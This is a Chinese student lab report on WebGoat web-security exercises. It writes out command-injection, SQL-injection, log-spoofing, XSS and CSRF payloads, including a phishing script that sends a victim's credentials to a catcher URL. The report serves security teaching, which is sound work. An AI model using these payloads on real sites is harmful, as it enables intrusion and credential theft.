2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础
2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础
目录
实验内容与步骤
实验过程中遇到的问题
基础问题回答
实验总结与体会
实验内容与步骤
(一)Webgoat安装
- WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。
- 我们直接到该链接去下载:webgoat-container-7.0.1-war-exec.jar,这个jar包似乎有一点问题。。。下的时候下了好几次,浏览器还崩了一次,原因也不清楚。总之在网络好的时候多点耐心就能下成功。
- 之后直接共享到虚拟机实验目录下
- 使用命令
java -jar webgoat-container-7.0.1-war-exec.jar打开Wengoat,当显示信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端 - 在浏览器中输入
http://localhost:8080/WebGoat进入Webgoat登陆界面,直接使用界面提供的任意一组用户名、密码登陆即可。
(二)SQL注入攻击
1.命令注入(Command Injection)
- 技术概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
- 操作步骤
点击
Injection Flaws-Command Injection右键点击
AccessControlMatrix.help复选框,选择inspect Element审查网页元素对源代码进行修改,在图中末尾添加"& netstat -an & ipconfig"

点击
view查看网络端口使用情况和 IP 地址,攻击成功

2.字符串型输入(Command Injection)
- 技术概念:SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。攻击者可以在没有密码的情况下查看数据库内容。
- 技术原理:基于以下查询语句构造自己的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?' - 操作步骤:
- 点击
Injection Flaws-String SQL Injection - 输入查询的用户名
Smith' or 1=1--,这使得查询语句变为:SELECT * FROM user_data WHERE last_name = 'Smith' or 1=1--',其中--为注释符,即此式为永真式。

- 点击
3.日志欺骗(Log Spoofing)
- 技术原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。攻击者可以修改日志内容,甚至将脚本写入日志中,脚本的返回信息管理员能够通过浏览器看到。
- 操作步骤:
点击
Injection Flaws-Log Spoofing在文本框中输入用户名:
Smith Login Succeeded for username admin网页会返回错误值:Login failed for username:smith Login Succeeded for username admin
但如果,我们在User Name中填入
Smith%0d%0aLogin Succeeded for username: admin,利用回车符0D%和换行符%0A让其在日志中两行显示,随意输入密码,点击login可以看到日志中我们用admin登录成功了。

如果在用户名处输入脚本又会怎么样呢?
- 在用户名中输入
admin <script>alert(document.cookie)</script>,管理员可以看到弹窗的cookie信息.

- 在用户名中输入
(三)XSS攻击
1.跨站脚本钓鱼攻击(Phishing with XSS)
- 技术原理:在服务端对所有输入进行验证总是不错的做法。当用户输入非法 HTTP 响应时容易造成XSS。在XSS的帮助下,您可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
- 操作步骤
- 利用XSS可以在已存在的页面中进一步添加元素,该解决方案包括两部分,我们需要结合起来使用:
- 受害人填写一个表格;
- 以读取脚本的形式,将收集到的信息发送给攻击者。
- 编写一个带用户名和密码输入框的表格
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
- 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
- 将以上两段代码合并,在
XSS-Phishing with XSS搜索这段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录, WebGoat 会将输入的信息捕获并反馈回来

- 利用XSS可以在已存在的页面中进一步添加元素,该解决方案包括两部分,我们需要结合起来使用:
2.存储型XSS攻击(Stored XSS Attacks)
- 技术原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
- 操作步骤:
- 在title中任意输入字符,留言板中输入
<script>alert("You've been attacked!!!");</script>,submit提交 - 点击message list中的链接,弹出信息

- 在title中任意输入字符,留言板中输入
3.反射型XSS攻击(Reflected XSS Attacks)
- 技术原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
- 操作步骤:
- 输入代码
<script>alert("You've been attacked!!!");</script>,点击purse的同时页面就给出了反馈

- 输入代码
(四)CSRF攻击
- 在操作之前先来了解一下什么是cookie
- Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。简单来说就是用来存储客户端的状态的一个东西。
1.跨站请求伪造Cross Site Request Forgery
- 技术原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>
当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。
- 操作步骤:
- 查看页面右侧Parameters中的src和menu值,分别为268和900
- 在title中输入任何参数,message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交 - 在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

2.绕过 CSRF 确认(CSRF Prompt By‐Pass)
- 技术原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
- 操作步骤:
- 查看页面右侧Parameters中的src和menu值分别为274和900
- 在title框中输入任意值,message框中输入代码:
<iframe src="attack?Screen=274&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=274&menu=900&transferFunds=CONFIRM"> </iframe>
- 提交以后点击title链接

实验过程中遇到的问题
- 在2019kali环境下安装webgoat时,打开网页以后显示不出课程内容,换成2018kali以后就没问题了。
基础问题回答
(1)SQL注入攻击原理,如何防御
- 原理:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
- 防御:
- 注意检查输入的特殊字符串
- 数据库中敏感数据不要明文存储
- 输入错误的异常提示应当返回尽量少的信息
(2)XSS攻击的原理,如何防御
- 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
- 防御:
- 检查表单提交字符串,例如检查到javascript就判定为xss攻击
- 在表单提交或者url参数传递前,对需要的参数进行过滤
(3)CSRF攻击原理,如何防御
- 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
- 防御:
- 对于每一个重要的post提交页面,都使用一个验证码
- 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
实验总结与体会
本次实验在webgoat上操作起来很简单,理解起来却很不容易,参考了webgoat中文手册、cookie相关知识点完成了实验,感觉要想理解得更透彻还需要深入地研究才行。
2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础的更多相关文章
- 2017-2018-2 20155314《网络对抗技术》Exp9 Web安全基础
2017-2018-2 20155314<网络对抗技术>Exp9 Web安全基础 目录 实验目标 实验内容 实验环境 基础问题回答 预备知识 实验步骤--WebGoat实践 0x10 We ...
- 20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13
<网络对抗技术>Exp9 Web安全基础 Week13 一.实验目标与内容 1.实践内容 (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目.包括(SQL,XSS,CSR ...
- 2018-2019-2 20165315《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165315<网络对抗技术>Exp9 Web安全基础 目录 一.实验内容 二.实验步骤 1.Webgoat前期准备 2.SQL注入攻击 Command Inje ...
- 2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递 ...
- 2018-2019-2 20165312《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165312<网络对抗技术>Exp9 Web安全基础 目录 Exp9_1安装Webgoat Exp9_2 SQL注入攻击 Numeric SQL Injecti ...
- 2018-2019-2 20165210《网络对抗技术》Exp9 Web安全基础
2018-2019-2 20165210<网络对抗技术>Exp9 Web安全基础 实验目的 本实践的目标理解常用网络攻击技术的基本原理. 实验内容 安装Webgoat SQL注入攻击 - ...
- 2018-2019 2 20165203 《网络对抗技术》Exp9 Web安全基础
2018-2019 2 20165203 <网络对抗技术>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS ...
- 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 20165114
Exp9 Web安全基础 目录 一.实验内容 二.基础问题回答 (1)SQL注入攻击原理,如何防御 (2)XSS攻击的原理,如何防御 (3)CSRF攻击原理,如何防御 三.实践过程记录 3.1 注入缺 ...
- 2018-2019-2 (内附jdk与webgoat完整安装教程)《网络对抗技术》Exp9 Web安全基础 Week13 20165233
Exp9 Web安全基础 目录 一.基础问题 二.实验步骤 实验前准备:jdk与webgoat的安装 实验点一:SQL 命令注入(Command Injection) 数字型注入(Numeric SQ ...
随机推荐
- iOS获取屏幕亮度及设置
平常很少有功能点需要调整屏幕亮度,但是也会有一些特殊场景,类似支付宝微信的二维码提供扫描时会使屏幕程序高亮状态,查了下资料做了一下简单记录: 获取当前屏幕的亮度 CGFloat value = [UI ...
- 通过标签名获得td和tr
<tr node="123445"> <td> <input type=button name="dak"> </td ...
- linux删除命令的简单查找使用--临时找来用的
---恢复内容开始--- linux删除某个文件:rm -f filename; mysql清空数据库,并且主键回到1:TRUNCATE TABLE tablename: drop tab ...
- c# 格式化数据String.Format
- 【独家】K8S漏洞报告 | 近期bug fix解读
安全漏洞CVE-2019-3874分析 Kubernetes近期重要bug fix分析 Kubernetes v1.13.5 bug fix数据分析 ——本周更新内容 安全漏洞CVE-2019-387 ...
- Vue移动组件库Mint UI的安装与使用
一.什么是 Mint UI 1.Mint UI 包含丰富的 CSS 和 JS 组件,可以提升移动端开发效率 2.Mint UI 按需加载组件 3.Mint UI 轻量化 二.Mint UI 的安装 1 ...
- Python工程目录组织
Python工程目录组织 from: https://zhuanlan.zhihu.com/p/36221226 Python工程目录组织 关于如何组织一个较好的Python工程目录结构,已经有一些得 ...
- Spring -08 -自动注入 -byName/byType/constructor -全局使用default-autowire=” byName"
1.在Spring 配置文件中对象名和ref=”id”id 名相同使用自动注入,可以不配置<property/>2.两种配置办法 2.1在<bean>中通过 autowire= ...
- 《少年先疯队》第八次团队作业:Alpha冲刺第二天
前言 第一天冲刺会议 时间:2019.6.15 地点:宿舍 2.1 今日完成任务情况以及遇到的问题. 2.1.1今日完成任务情况 姚玉婷:房间信息管理功能的实现,如房间的显示, 马丽莎 ...
- 域渗透:LSA Protection
简介:微软在 2014 年 3 月 12 日添加了 LSA 保护策略,用来防止对进程 lsass.exe 的代码注入,这样一来就无法使用 mimikatz 对 lsass.exe 进行注入,相关操作也 ...